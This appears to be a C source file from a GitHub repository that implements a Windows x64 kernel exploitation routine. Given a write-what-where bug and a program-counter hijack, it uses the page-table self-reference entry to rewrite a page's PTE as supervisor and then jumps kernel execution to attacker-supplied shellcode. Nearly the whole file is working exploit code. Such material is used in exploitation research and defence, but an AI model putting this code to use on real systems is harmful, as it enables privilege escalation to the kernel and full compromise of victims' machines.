Skip to content
Permalink
Branch: master
Find file Copy path
1 contributor

Users who have contributed to this file

64 lines (46 sloc) 2.18 KB
#include "Exploitation Methods.h"
#include "Virtual Memory x64.h"
#include <stdio.h>
#define SELF_REFERENCE_SELECTOR 0x1ED
void ExecutePICAtKernelMode(KERNEL_CONTROL_PROGRAM_COUNTER_VULNERABILITY changePC,
WRITE_WHAT_WHERE_VULNERABILITY writeWhatWhere,
PBYTE pic, UINT32 picSize);
EXECUTE_PIC_AT_KERNEL_MODE vtableSelfReferenceKernelModePicExecutor = &ExecutePICAtKernelMode;
UINT64 derivePTEAddress(UINT64 address);
x64VirtualAddress getVirtualAddress(UINT64 address);
//TODO: assert 4kb paging mode
void ExecutePICAtKernelMode(KERNEL_CONTROL_PROGRAM_COUNTER_VULNERABILITY changePC,
WRITE_WHAT_WHERE_VULNERABILITY writeWhatWhere,
PBYTE pic, UINT32 picSize) {
PBYTE picAddress = (PBYTE) VirtualAlloc((LPVOID)0x100804020001, // special value that corresponds to isolated paging structures
picSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (picAddress == NULL) {
printf("Error during memory allocation: %d\n", GetLastError());
return;
}
memcpy(picAddress, pic, picSize);
UINT64 pteAddress = derivePTEAddress((UINT64)picAddress);
/*
Now we would write a value to the fields part of the PTE, which is at pteAddress - 7.
That value is 0b01100011 which specifies:
writeable, dirty, supervisor, accessed and present page.
This is easily derived from the first 8 bits in PTE structure
*/
writeWhatWhere(0x6300000000000000, pteAddress - 7);
changePC((UINT64)picAddress);
}
//TODO: check whether I should really place 0xFFFF at unsued bits
UINT64 derivePTEAddress(UINT64 address) {
//We shift address by 9 to leave space to self reference field,
address >>= 9;
//Then shift back and fourth be 3 to allign address (as PTE is alligned by 8 bytes.)
address >>= 3; address <<= 3;
x64VirtualAddress linearAddress = getVirtualAddress(address);
linearAddress.pml4Selector = SELF_REFERENCE_SELECTOR; //Place the self reference at pml4 selector
linearAddress.reservedCannonical = MAXWORD; //Sign extending; self refernce selector's msb is one, thus should the reserved field by only 1's.
return * ((UINT64*)&linearAddress);
}
x64VirtualAddress getVirtualAddress(UINT64 address) {
Px64VirtualAddress pLinearAddress = (Px64VirtualAddress)&address;
return *pLinearAddress;
}
You can’t perform that action at this time.